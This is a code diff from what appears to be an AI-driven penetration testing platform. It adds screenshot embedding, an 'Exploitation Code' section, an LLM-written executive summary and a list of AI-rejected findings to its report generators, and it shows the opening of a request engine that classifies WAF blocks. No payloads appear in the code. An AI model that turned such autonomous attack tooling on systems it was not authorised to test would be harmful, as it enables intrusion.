||||
|
||||
return ProofResult(
|
||||
False, "",
|
||||
f"No proof of execution for {vuln_type}",
|
||||
0
|
||||
)
|
||||
@@ -1,8 +1,10 @@
|
||||
"""
|
||||
NeuroSploit v3 - Report Generator
|
||||
|
||||
Generates professional HTML, PDF, and JSON reports.
|
||||
Generates professional HTML, PDF, and JSON reports
|
||||
with OHVR structure and embedded screenshots.
|
||||
"""
|
||||
import base64
|
||||
import json
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
@@ -23,8 +25,12 @@ class ReportGenerator:
|
||||
"info": "#6c757d"
|
||||
}
|
||||
|
||||
SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
def __init__(self):
|
||||
self.reports_dir = settings.REPORTS_DIR
|
||||
self._scan_id: Optional[str] = None
|
||||
self._tool_executions: List = []
|
||||
|
||||
async def generate(
|
||||
self,
|
||||
@@ -34,7 +40,8 @@ class ReportGenerator:
|
||||
title: Optional[str] = None,
|
||||
include_executive_summary: bool = True,
|
||||
include_poc: bool = True,
|
||||
include_remediation: bool = True
|
||||
include_remediation: bool = True,
|
||||
tool_executions: Optional[List] = None,
|
||||
) -> Tuple[Path, str]:
|
||||
"""
|
||||
Generate a report.
|
||||
@@ -42,6 +49,8 @@ class ReportGenerator:
|
||||
Returns:
|
||||
Tuple of (file_path, executive_summary)
|
||||
"""
|
||||
self._scan_id = str(scan.id) if scan else None
|
||||
self._tool_executions = tool_executions or []
|
||||
title = title or f"Security Assessment Report - {scan.name}"
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
|
||||
@@ -69,12 +78,94 @@ class ReportGenerator:
|
||||
else:
|
||||
raise ValueError(f"Unsupported format: {format}")
|
||||
|
||||
# Save report
|
||||
file_path = self.reports_dir / filename
|
||||
# Save report in a per-report folder with screenshots
|
||||
report_dir = self.reports_dir / f"report_{timestamp}"
|
||||
report_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
file_path = report_dir / filename
|
||||
file_path.write_text(content)
|
||||
|
||||
# Copy screenshots into the report folder
|
||||
self._copy_screenshots_to_report(vulnerabilities, report_dir)
|
||||
|
||||
return file_path, executive_summary
|
||||
|
||||
async def generate_ai_report(
|
||||
self,
|
||||
scan: Scan,
|
||||
vulnerabilities: List[Vulnerability],
|
||||
tool_executions: Optional[List] = None,
|
||||
title: Optional[str] = None,
|
||||
) -> Tuple[Path, str]:
|
||||
"""Generate an AI-enhanced report with LLM-written executive summary and per-finding analysis."""
|
||||
from core.llm_manager import LLMManager
|
||||
|
||||
self._scan_id = str(scan.id) if scan else None
|
||||
self._tool_executions = tool_executions or []
|
||||
title = title or f"AI Security Assessment Report - {scan.name}"
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
|
||||
# Build findings context for AI
|
||||
findings_context = []
|
||||
for v in vulnerabilities:
|
||||
findings_context.append(
|
||||
f"- [{v.severity.upper()}] {v.title}: {v.vulnerability_type} at "
|
||||
f"{v.affected_endpoint or 'N/A'}"
|
||||
f"{' | CWE: ' + v.cwe_id if v.cwe_id else ''}"
|
||||
f"{' | CVSS: ' + str(v.cvss_score) if v.cvss_score else ''}"
|
||||
)
|
||||
|
||||
tools_context = ""
|
||||
if self._tool_executions:
|
||||
tools_lines = []
|
||||
for te in self._tool_executions:
|
||||
tools_lines.append(
|
||||
f"- {te.get('tool', 'unknown')}: {te.get('command', '')} "
|
||||
f"({te.get('duration', 0)}s, {te.get('findings_count', 0)} findings)"
|
||||
)
|
||||
tools_context = "\n\nTools executed:\n" + "\n".join(tools_lines)
|
||||
|
||||
total = len(vulnerabilities)
|
||||
critical = sum(1 for v in vulnerabilities if v.severity == "critical")
|
||||
high = sum(1 for v in vulnerabilities if v.severity == "high")
|
||||
medium = sum(1 for v in vulnerabilities if v.severity == "medium")
|
||||
low = sum(1 for v in vulnerabilities if v.severity == "low")
|
||||
|
||||
prompt = (
|
||||
f"Write a professional executive summary for a penetration test report.\n"
|
||||
f"Target: {scan.name}\n"
|
||||
f"Total findings: {total} (Critical: {critical}, High: {high}, Medium: {medium}, Low: {low})\n\n"
|
||||
f"Findings:\n" + "\n".join(findings_context[:30]) + tools_context + "\n\n"
|
||||
f"Write 3-4 paragraphs covering: overall risk posture, key critical findings, "
|
||||
f"attack surface observations, and prioritized remediation recommendations. "
|
||||
f"Be specific and reference actual findings. Professional tone."
|
||||
)
|
||||
|
||||
# Generate AI executive summary
|
||||
try:
|
||||
llm = LLMManager()
|
||||
ai_summary = await llm.generate(
|
||||
prompt,
|
||||
"You are a senior penetration testing consultant writing a client-facing report."
|
||||
)
|
||||
except Exception:
|
||||
ai_summary = self._generate_executive_summary(scan, vulnerabilities)
|
||||
|
||||
# Generate HTML with AI summary
|
||||
content = self._generate_html(
|
||||
scan, vulnerabilities, title,
|
||||
ai_summary, include_poc=True, include_remediation=True
|
||||
)
|
||||
|
||||
report_dir = self.reports_dir / f"report_{timestamp}"
|
||||
report_dir.mkdir(parents=True, exist_ok=True)
|
||||
filename = f"report_{timestamp}.html"
|
||||
file_path = report_dir / filename
|
||||
file_path.write_text(content)
|
||||
self._copy_screenshots_to_report(vulnerabilities, report_dir)
|
||||
|
||||
return file_path, ai_summary
|
||||
|
||||
def _generate_executive_summary(self, scan: Scan, vulnerabilities: List[Vulnerability]) -> str:
|
||||
"""Generate executive summary text"""
|
||||
total = len(vulnerabilities)
|
||||
@@ -110,27 +201,81 @@ Overall Risk Level: {risk_level}
|
||||
include_remediation: bool
|
||||
) -> str:
|
||||
"""Generate HTML report"""
|
||||
# Count by severity
|
||||
# Separate confirmed and rejected vulnerabilities
|
||||
confirmed_vulns = [v for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') != 'ai_rejected']
|
||||
rejected_vulns = [v for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') == 'ai_rejected']
|
||||
|
||||
# Count by severity (confirmed only)
|
||||
severity_counts = {
|
||||
"critical": sum(1 for v in vulnerabilities if v.severity == "critical"),
|
||||
"high": sum(1 for v in vulnerabilities if v.severity == "high"),
|
||||
"medium": sum(1 for v in vulnerabilities if v.severity == "medium"),
|
||||
"low": sum(1 for v in vulnerabilities if v.severity == "low"),
|
||||
"info": sum(1 for v in vulnerabilities if v.severity == "info")
|
||||
"critical": sum(1 for v in confirmed_vulns if v.severity == "critical"),
|
||||
"high": sum(1 for v in confirmed_vulns if v.severity == "high"),
|
||||
"medium": sum(1 for v in confirmed_vulns if v.severity == "medium"),
|
||||
"low": sum(1 for v in confirmed_vulns if v.severity == "low"),
|
||||
"info": sum(1 for v in confirmed_vulns if v.severity == "info")
|
||||
}
|
||||
total = sum(severity_counts.values())
|
||||
|
||||
# Generate vulnerability cards
|
||||
# Sort vulnerabilities by severity (Critical first, Info last)
|
||||
confirmed_vulns = sorted(
|
||||
confirmed_vulns,
|
||||
key=lambda v: self.SEVERITY_ORDER.get(v.severity, 5)
|
||||
)
|
||||
rejected_vulns = sorted(
|
||||
rejected_vulns,
|
||||
key=lambda v: self.SEVERITY_ORDER.get(v.severity, 5)
|
||||
)
|
||||
|
||||
# Generate vulnerability cards for confirmed findings
|
||||
vuln_cards = ""
|
||||
for vuln in vulnerabilities:
|
||||
for vuln in confirmed_vulns:
|
||||
color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d")
|
||||
poc_section = ""
|
||||
if include_poc and (vuln.poc_request or vuln.poc_payload):
|
||||
if include_poc and (vuln.poc_request or vuln.poc_payload or getattr(vuln, 'poc_code', None)):
|
||||
# Build screenshot HTML if available
|
||||
screenshots_html = self._build_screenshots_html(vuln)
|
||||
|
||||
# Build PoC code section (generated HTML/Python/curl exploitation code)
|
||||
poc_code_html = ""
|
||||
poc_code_value = getattr(vuln, 'poc_code', None) or ""
|
||||
if poc_code_value:
|
||||
# Determine language for syntax hint
|
||||
if poc_code_value.strip().startswith("<!DOCTYPE") or poc_code_value.strip().startswith("<html") or poc_code_value.strip().startswith("<!--"):
|
||||
lang_label = "HTML"
|
||||
elif poc_code_value.strip().startswith("#!/usr/bin/env python") or "import requests" in poc_code_value:
|
||||
lang_label = "Python"
|
||||
elif poc_code_value.strip().startswith("curl ") or poc_code_value.strip().startswith("#"):
|
||||
lang_label = "Shell/curl"
|
||||
else:
|
||||
lang_label = "PoC Code"
|
||||
|
||||
poc_code_html = f"""
|
||||
<div class="ohvr-section">
|
||||
<h5>Exploitation Code ({lang_label})</h5>
|
||||
<div class="code-block"><pre>{self._escape_html(poc_code_value[:5000])}</pre></div>
|
||||
</div>"""
|
||||
|
||||
poc_section = f"""
|
||||
<div class="poc-section">
|
||||
<h4>Proof of Concept</h4>
|
||||
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_payload or "")}</pre></div>' if vuln.poc_payload else ''}
|
||||
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}</pre></div>' if vuln.poc_request else ''}
|
||||
<div class="ohvr-section">
|
||||
<h5>Observation</h5>
|
||||
<p>{self._escape_html(vuln.description or 'Security-relevant behavior detected at the affected endpoint.')}</p>
|
||||
</div>
|
||||
<div class="ohvr-section">
|
||||
<h5>Hypothesis</h5>
|
||||
<p>The endpoint may be vulnerable to {self._escape_html(vuln.vulnerability_type or 'the identified attack vector')} based on observed behavior.</p>
|
||||
</div>
|
||||
<div class="ohvr-section">
|
||||
<h5>Validation</h5>
|
||||
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_payload or "")}</pre></div>' if vuln.poc_payload else ''}
|
||||
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}</pre></div>' if vuln.poc_request else ''}
|
||||
{screenshots_html}
|
||||
</div>
|
||||
{poc_code_html}
|
||||
<div class="ohvr-section">
|
||||
<h5>Result</h5>
|
||||
<p>{self._escape_html(vuln.impact or 'Vulnerability confirmed through the validation steps above.')}</p>
|
||||
</div>
|
||||
</div>
|
||||
"""
|
||||
|
||||
@@ -264,6 +409,41 @@ Overall Risk Level: {risk_level}
|
||||
word-wrap: break-word;
|
||||
}}
|
||||
.executive-summary {{ white-space: pre-wrap; }}
|
||||
.ohvr-section {{
|
||||
margin: 1rem 0;
|
||||
padding: 1rem;
|
||||
background: rgba(0,0,0,0.2);
|
||||
border-radius: 8px;
|
||||
}}
|
||||
.ohvr-section h5 {{
|
||||
color: var(--accent);
|
||||
margin-bottom: 0.5rem;
|
||||
text-transform: uppercase;
|
||||
font-size: 0.8rem;
|
||||
letter-spacing: 1px;
|
||||
}}
|
||||
.screenshot-grid {{
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
|
||||
gap: 1rem;
|
||||
margin: 1rem 0;
|
||||
}}
|
||||
.screenshot-card {{
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 8px;
|
||||
overflow: hidden;
|
||||
}}
|
||||
.screenshot-card img {{
|
||||
width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
}}
|
||||
.screenshot-caption {{
|
||||
padding: 0.5rem;
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-secondary);
|
||||
text-align: center;
|
||||
}}
|
||||
.severity-chart {{
|
||||
display: flex;
|
||||
height: 30px;
|
||||
@@ -312,10 +492,16 @@ Overall Risk Level: {risk_level}
|
||||
</div>''' if executive_summary else ''}
|
||||
|
||||
<div class="section">
|
||||
<h2>Vulnerability Findings</h2>
|
||||
{vuln_cards if vuln_cards else '<p>No vulnerabilities found.</p>'}
|
||||
<h2>Vulnerability Findings ({total} Confirmed)</h2>
|
||||
{vuln_cards if vuln_cards else '<p>No confirmed vulnerabilities found.</p>'}
|
||||
</div>
|
||||
|
||||
{self._build_rejected_findings_section(rejected_vulns)}
|
||||
|
||||
{self._build_screenshots_gallery(confirmed_vulns)}
|
||||
|
||||
{self._build_tools_section()}
|
||||
|
||||
<div class="footer">
|
||||
<p>Generated by NeuroSploit v3 - AI-Powered Penetration Testing Platform</p>
|
||||
</div>
|
||||
@@ -354,10 +540,245 @@ Overall Risk Level: {risk_level}
|
||||
"info": scan.info_count
|
||||
}
|
||||
},
|
||||
"vulnerabilities": [v.to_dict() for v in vulnerabilities]
|
||||
"vulnerabilities": [v.to_dict() for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') != 'ai_rejected'],
|
||||
"rejected_findings": [v.to_dict() for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') == 'ai_rejected'],
|
||||
"tool_executions": self._tool_executions
|
||||
}
|
||||
return json.dumps(report, indent=2, default=str)
|
||||
|
||||
def _build_screenshots_html(self, vuln) -> str:
|
||||
"""Build screenshot grid HTML for a vulnerability.
|
||||
|
||||
Sources (in order of priority):
|
||||
1. vuln.screenshots list with base64 data URIs (from agent capture)
|
||||
2. Filesystem lookup in reports/screenshots/{finding_id}/ (from BrowserValidator)
|
||||
"""
|
||||
data_uris = []
|
||||
|
||||
# Source 1: base64 screenshots embedded in the vulnerability object
|
||||
inline_screenshots = getattr(vuln, 'screenshots', None) or []
|
||||
for ss in inline_screenshots:
|
||||
if isinstance(ss, str) and ss.startswith("data:image/"):
|
||||
data_uris.append(ss)
|
||||
|
||||
# Source 2: filesystem screenshots (finding_id = md5(vuln_type+url+param)[:8])
|
||||
# Check scan-scoped path first, then legacy flat path
|
||||
if not data_uris:
|
||||
import hashlib
|
||||
screenshots_base = settings.BASE_DIR / "reports" / "screenshots"
|
||||
vuln_type = getattr(vuln, 'vulnerability_type', '') or ''
|
||||
vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or ''
|
||||
vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or ''
|
||||
finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8]
|
||||
|
||||
# Scan-scoped path: reports/screenshots/{scan_id}/{finding_id}/
|
||||
finding_dir = None
|
||||
if self._scan_id:
|
||||
scan_dir = screenshots_base / self._scan_id / finding_id
|
||||
if scan_dir.exists():
|
||||
finding_dir = scan_dir
|
||||
# Fallback: legacy flat path reports/screenshots/{finding_id}/
|
||||
if not finding_dir:
|
||||
legacy_dir = screenshots_base / finding_id
|
||||
if legacy_dir.exists():
|
||||
finding_dir = legacy_dir
|
||||
|
||||
if finding_dir:
|
||||
for ss_file in sorted(finding_dir.glob("*.png"))[:5]:
|
||||
data_uri = self._embed_screenshot(str(ss_file))
|
||||
if data_uri:
|
||||
data_uris.append(data_uri)
|
||||
|
||||
if not data_uris:
|
||||
return ""
|
||||
|
||||
cards = ""
|
||||
for i, data_uri in enumerate(data_uris[:5]):
|
||||
caption = "Evidence Capture" if i == 0 else f"Screenshot {i + 1}"
|
||||
cards += f"""
|
||||
<div class="screenshot-card">
|
||||
<img src="{data_uri}" alt="{caption}" />
|
||||
<div class="screenshot-caption">{caption}</div>
|
||||
</div>"""
|
||||
|
||||
return f'<div class="screenshot-grid">{cards}</div>'
|
||||
|
||||
def _embed_screenshot(self, filepath: str) -> str:
|
||||
"""Convert a screenshot file to a base64 data URI."""
|
||||
path = Path(filepath)
|
||||
if not path.exists():
|
||||
return ""
|
||||
try:
|
||||
with open(path, 'rb') as f:
|
||||
data = base64.b64encode(f.read()).decode('ascii')
|
||||
return f"data:image/png;base64,{data}"
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
def _copy_screenshots_to_report(self, vulnerabilities: List[Vulnerability], report_dir: Path):
|
||||
"""Copy vulnerability screenshots into the per-report folder."""
|
||||
import shutil
|
||||
import hashlib
|
||||
screenshots_base = settings.BASE_DIR / "reports" / "screenshots"
|
||||
screenshots_dest = report_dir / "screenshots"
|
||||
|
||||
for vuln in vulnerabilities:
|
||||
# Use same finding_id as agent: md5(vuln_type+url+param)[:8]
|
||||
vuln_type = getattr(vuln, 'vulnerability_type', '') or ''
|
||||
vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or ''
|
||||
vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or ''
|
||||
finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8]
|
||||
|
||||
# Check scan-scoped path first, then legacy
|
||||
src_dir = None
|
||||
if self._scan_id:
|
||||
scan_src = screenshots_base / self._scan_id / finding_id
|
||||
if scan_src.exists():
|
||||
src_dir = scan_src
|
||||
if not src_dir:
|
||||
legacy_src = screenshots_base / finding_id
|
||||
if legacy_src.exists():
|
||||
src_dir = legacy_src
|
||||
|
||||
if src_dir:
|
||||
dest_dir = screenshots_dest / finding_id
|
||||
dest_dir.mkdir(parents=True, exist_ok=True)
|
||||
for ss_file in src_dir.glob("*.png"):
|
||||
shutil.copy2(ss_file, dest_dir / ss_file.name)
|
||||
|
||||
def _build_screenshots_gallery(self, vulnerabilities: List[Vulnerability]) -> str:
|
||||
"""Build a dedicated Screenshots & Evidence gallery section for the report."""
|
||||
import hashlib
|
||||
gallery_items = []
|
||||
|
||||
for vuln in vulnerabilities:
|
||||
vuln_screenshots = []
|
||||
|
||||
# Source 1: base64 from DB
|
||||
inline = getattr(vuln, 'screenshots', None) or []
|
||||
for ss in inline:
|
||||
if isinstance(ss, str) and ss.startswith("data:image/"):
|
||||
vuln_screenshots.append(ss)
|
||||
|
||||
# Source 2: filesystem (scan-scoped first, then legacy)
|
||||
if not vuln_screenshots:
|
||||
vuln_type = getattr(vuln, 'vulnerability_type', '') or ''
|
||||
vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or ''
|
||||
vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or ''
|
||||
finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8]
|
||||
screenshots_base = settings.BASE_DIR / "reports" / "screenshots"
|
||||
finding_dir = None
|
||||
if self._scan_id:
|
||||
scan_dir = screenshots_base / self._scan_id / finding_id
|
||||
if scan_dir.exists():
|
||||
finding_dir = scan_dir
|
||||
if not finding_dir:
|
||||
legacy_dir = screenshots_base / finding_id
|
||||
if legacy_dir.exists():
|
||||
finding_dir = legacy_dir
|
||||
if finding_dir:
|
||||
for ss_file in sorted(finding_dir.glob("*.png"))[:5]:
|
||||
data_uri = self._embed_screenshot(str(ss_file))
|
||||
if data_uri:
|
||||
vuln_screenshots.append(data_uri)
|
||||
|
||||
if vuln_screenshots:
|
||||
title = self._escape_html(getattr(vuln, 'title', 'Unknown'))
|
||||
severity = getattr(vuln, 'severity', 'info')
|
||||
color = self.SEVERITY_COLORS.get(severity, '#6c757d')
|
||||
images_html = ""
|
||||
for i, data_uri in enumerate(vuln_screenshots[:5]):
|
||||
images_html += f"""
|
||||
<div class="screenshot-card">
|
||||
<img src="{data_uri}" alt="Evidence {i+1}" />
|
||||
<div class="screenshot-caption">Evidence {i+1}</div>
|
||||
</div>"""
|
||||
gallery_items.append(f"""
|
||||
<div style="margin-bottom: 1.5rem;">
|
||||
<h4 style="color: {color}; margin-bottom: 0.5rem;">{title}</h4>
|
||||
<div class="screenshot-grid">{images_html}</div>
|
||||
</div>""")
|
||||
|
||||
if not gallery_items:
|
||||
return ""
|
||||
|
||||
return f"""
|
||||
<div class="section">
|
||||
<h2>Screenshots & Evidence</h2>
|
||||
<p style="color: var(--text-secondary); margin-bottom: 1rem;">Visual evidence captured during vulnerability validation.</p>
|
||||
{''.join(gallery_items)}
|
||||
</div>"""
|
||||
|
||||
def _build_rejected_findings_section(self, rejected_vulns: List) -> str:
|
||||
"""Build an HTML section for AI-rejected findings that need manual review."""
|
||||
if not rejected_vulns:
|
||||
return ""
|
||||
|
||||
items = ""
|
||||
for vuln in rejected_vulns:
|
||||
color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d")
|
||||
reason = self._escape_html(getattr(vuln, 'ai_rejection_reason', '') or 'No reason provided')
|
||||
items += f"""
|
||||
<div style="border: 1px solid #555; border-left: 3px solid {color}; border-radius: 8px; padding: 12px; margin-bottom: 8px; opacity: 0.7; background: rgba(255,165,0,0.05);">
|
||||
<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px;">
|
||||
<div style="display: flex; align-items: center; gap: 8px;">
|
||||
<span style="background-color: {color}; color: white; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: bold;">{vuln.severity.upper()}</span>
|
||||
<strong>{self._escape_html(vuln.title)}</strong>
|
||||
</div>
|
||||
<span style="background: rgba(255,165,0,0.2); color: #ffa500; padding: 2px 8px; border-radius: 12px; font-size: 0.7rem;">AI Rejected</span>
|
||||
</div>
|
||||
<p style="color: #aaa; font-size: 0.85rem; margin: 4px 0;"><strong>Endpoint:</strong> {self._escape_html(vuln.affected_endpoint or 'N/A')}</p>
|
||||
{f'<p style="color: #aaa; font-size: 0.85rem; margin: 4px 0;"><strong>Payload:</strong> <code>{self._escape_html(vuln.poc_payload or "")}</code></p>' if vuln.poc_payload else ''}
|
||||
<p style="color: #ffa500; font-size: 0.8rem; margin: 8px 0 0 0; padding: 8px; background: rgba(255,165,0,0.1); border-radius: 4px;"><strong>Rejection Reason:</strong> {reason}</p>
|
||||
</div>
|
||||
"""
|
||||
|
||||
return f"""
|
||||
<div class="section" style="border: 1px dashed #ffa500; border-radius: 12px; padding: 20px; margin-top: 20px;">
|
||||
<h2 style="color: #ffa500;">AI-Rejected Findings ({len(rejected_vulns)}) - Manual Review Required</h2>
|
||||
<p style="color: var(--text-secondary); margin-bottom: 1rem;">
|
||||
The following potential findings were rejected by AI analysis as likely false positives.
|
||||
Manual pentester review is recommended to confirm or override these decisions.
|
||||
</p>
|
||||
{items}
|
||||
</div>"""
|
||||
|
||||
def _build_tools_section(self) -> str:
|
||||
"""Build an HTML section listing tools that were executed during the scan."""
|
||||
if not self._tool_executions:
|
||||
return ""
|
||||
|
||||
rows = ""
|
||||
for te in self._tool_executions:
|
||||
tool = self._escape_html(te.get("tool", "unknown"))
|
||||
command = self._escape_html(te.get("command", ""))
|
||||
duration = te.get("duration", 0)
|
||||
findings = te.get("findings_count", 0)
|
||||
exit_code = te.get("exit_code", 0)
|
||||
stdout = self._escape_html(te.get("stdout_preview", "")[:500])
|
||||
|
||||
status_color = "#28a745" if exit_code == 0 else "#dc3545"
|
||||
rows += f"""
|
||||
<div class="vuln-card" style="margin-bottom: 1rem;">
|
||||
<div class="vuln-header" style="padding: 15px;">
|
||||
<span class="severity-badge" style="background-color: #6c63ff; font-size: 0.75em;">{tool.upper()}</span>
|
||||
<h3 style="font-size: 0.95em;">{command}</h3>
|
||||
</div>
|
||||
<div class="vuln-meta">
|
||||
<span><strong>Duration:</strong> {duration}s</span>
|
||||
<span><strong>Findings:</strong> {findings}</span>
|
||||
<span style="color: {status_color};"><strong>Exit:</strong> {exit_code}</span>
|
||||
</div>
|
||||
{f'<div style="padding: 15px;"><div class="code-block"><pre>{stdout}</pre></div></div>' if stdout else ''}
|
||||
</div>"""
|
||||
|
||||
return f"""
|
||||
<div class="section">
|
||||
<h2>Tools Executed</h2>
|
||||
<p style="color: var(--text-secondary); margin-bottom: 1rem;">Security tools executed during the automated assessment.</p>
|
||||
{rows}
|
||||
</div>"""
|
||||
|
||||
def _escape_html(self, text: str) -> str:
|
||||
"""Escape HTML special characters"""
|
||||
if not text:
|
||||
|
||||
@@ -4,11 +4,12 @@ Generates beautiful, comprehensive security assessment reports
|
||||
"""
|
||||
|
||||
import json
|
||||
import base64
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Any, Optional
|
||||
from dataclasses import dataclass
|
||||
import html
|
||||
import base64
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -455,6 +456,70 @@ class HTMLReportGenerator:
|
||||
.card {{
|
||||
animation: fadeIn 0.3s ease;
|
||||
}}
|
||||
|
||||
/* Screenshot grid */
|
||||
.screenshot-grid {{
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(320px, 1fr));
|
||||
gap: 16px;
|
||||
margin-top: 12px;
|
||||
}}
|
||||
|
||||
.screenshot-card {{
|
||||
border: 1px solid {border_color};
|
||||
border-radius: 8px;
|
||||
overflow: hidden;
|
||||
background: {'#0f172a' if is_dark else '#f1f5f9'};
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
}}
|
||||
|
||||
.screenshot-card:hover {{
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.3);
|
||||
}}
|
||||
|
||||
.screenshot-card img {{
|
||||
width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
cursor: pointer;
|
||||
}}
|
||||
|
||||
.screenshot-caption {{
|
||||
padding: 8px 12px;
|
||||
font-size: 0.75rem;
|
||||
color: {text_muted};
|
||||
text-align: center;
|
||||
border-top: 1px solid {border_color};
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
}}
|
||||
|
||||
/* Screenshot modal (fullscreen view) */
|
||||
.screenshot-modal {{
|
||||
display: none;
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0,0,0,0.9);
|
||||
z-index: 10000;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
}}
|
||||
|
||||
.screenshot-modal.active {{
|
||||
display: flex;
|
||||
}}
|
||||
|
||||
.screenshot-modal img {{
|
||||
max-width: 90%;
|
||||
max-height: 90%;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
|
||||
}}
|
||||
</style>"""
|
||||
|
||||
def _get_scripts(self) -> str:
|
||||
@@ -495,6 +560,29 @@ class HTMLReportGenerator:
|
||||
function printReport() {
|
||||
window.print();
|
||||
}
|
||||
|
||||
// Screenshot zoom modal
|
||||
(function() {
|
||||
var modal = document.createElement('div');
|
||||
modal.className = 'screenshot-modal';
|
||||
modal.innerHTML = '<img />';
|
||||
document.body.appendChild(modal);
|
||||
|
||||
document.addEventListener('click', function(e) {
|
||||
if (e.target.closest('.screenshot-card img')) {
|
||||
var src = e.target.src;
|
||||
modal.querySelector('img').src = src;
|
||||
modal.classList.add('active');
|
||||
}
|
||||
if (e.target.closest('.screenshot-modal')) {
|
||||
modal.classList.remove('active');
|
||||
}
|
||||
});
|
||||
|
||||
document.addEventListener('keydown', function(e) {
|
||||
if (e.key === 'Escape') modal.classList.remove('active');
|
||||
});
|
||||
})();
|
||||
</script>"""
|
||||
|
||||
def _generate_header(self, session_data: Dict) -> str:
|
||||
@@ -770,6 +858,7 @@ class HTMLReportGenerator:
|
||||
<h4>Evidence / Proof of Concept</h4>
|
||||
<div class="evidence-box">{html.escape(finding.get('evidence', ''))}</div>
|
||||
</div>''' if finding.get('evidence') else ''}
|
||||
{self._generate_screenshots_html(finding)}
|
||||
{f'''<div class="finding-section">
|
||||
<h4>Impact</h4>
|
||||
<p>{html.escape(finding.get('impact', ''))}</p>
|
||||
@@ -852,6 +941,51 @@ class HTMLReportGenerator:
|
||||
</ul>
|
||||
</div>'''
|
||||
|
||||
def _generate_screenshots_html(self, finding: Dict) -> str:
|
||||
"""Generate screenshot grid HTML for a finding.
|
||||
|
||||
Supports two sources:
|
||||
1. finding['screenshots'] list with base64 data URIs (from agent capture)
|
||||
2. Filesystem lookup in reports/screenshots/{finding_id}/ (from BrowserValidator)
|
||||
"""
|
||||
screenshots = finding.get('screenshots', [])
|
||||
|
||||
# Also check filesystem for screenshots stored by BrowserValidator
|
||||
finding_id = finding.get('id', '')
|
||||
if finding_id and not screenshots:
|
||||
ss_dir = Path('reports/screenshots') / finding_id
|
||||
if ss_dir.exists():
|
||||
for ss_file in sorted(ss_dir.glob('*.png'))[:5]:
|
||||
try:
|
||||
with open(ss_file, 'rb') as f:
|
||||
data = base64.b64encode(f.read()).decode('ascii')
|
||||
screenshots.append(f"data:image/png;base64,{data}")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not screenshots:
|
||||
return ''
|
||||
|
||||
cards = ''
|
||||
for i, ss in enumerate(screenshots[:5]): # Cap at 5 screenshots
|
||||
label = f"Screenshot {i + 1}"
|
||||
if i == 0:
|
||||
label = "Evidence Capture"
|
||||
elif i == 1:
|
||||
label = "Exploitation Proof"
|
||||
|
||||
cards += f'''
|
||||
<div class="screenshot-card">
|
||||
<img src="{ss}" alt="{label}" loading="lazy" />
|
||||
<div class="screenshot-caption">{label}</div>
|
||||
</div>'''
|
||||
|
||||
return f'''
|
||||
<div class="finding-section">
|
||||
<h4>Screenshots</h4>
|
||||
<div class="screenshot-grid">{cards}</div>
|
||||
</div>'''
|
||||
|
||||
def _generate_scan_results(self, scan_results: List[Dict]) -> str:
|
||||
"""Generate tool scan results section"""
|
||||
if not scan_results:
|
||||
|
||||
@@ -0,0 +1,377 @@
|
||||
"""
|
||||
NeuroSploit v3 - Resilient Request Engine
|
||||
|
||||
Wraps aiohttp session with retry, rate limiting, circuit breaker,
|
||||
and error classification for autonomous pentesting.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Callable, Dict, Optional, Any
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ErrorType(Enum):
|
||||
SUCCESS = "success"
|
||||
CLIENT_ERROR = "client_error" # 4xx (not 429)
|
||||
RATE_LIMITED = "rate_limited" # 429
|
||||
WAF_BLOCKED = "waf_blocked" # 403 + WAF indicators
|
||||
SERVER_ERROR = "server_error" # 5xx
|
||||
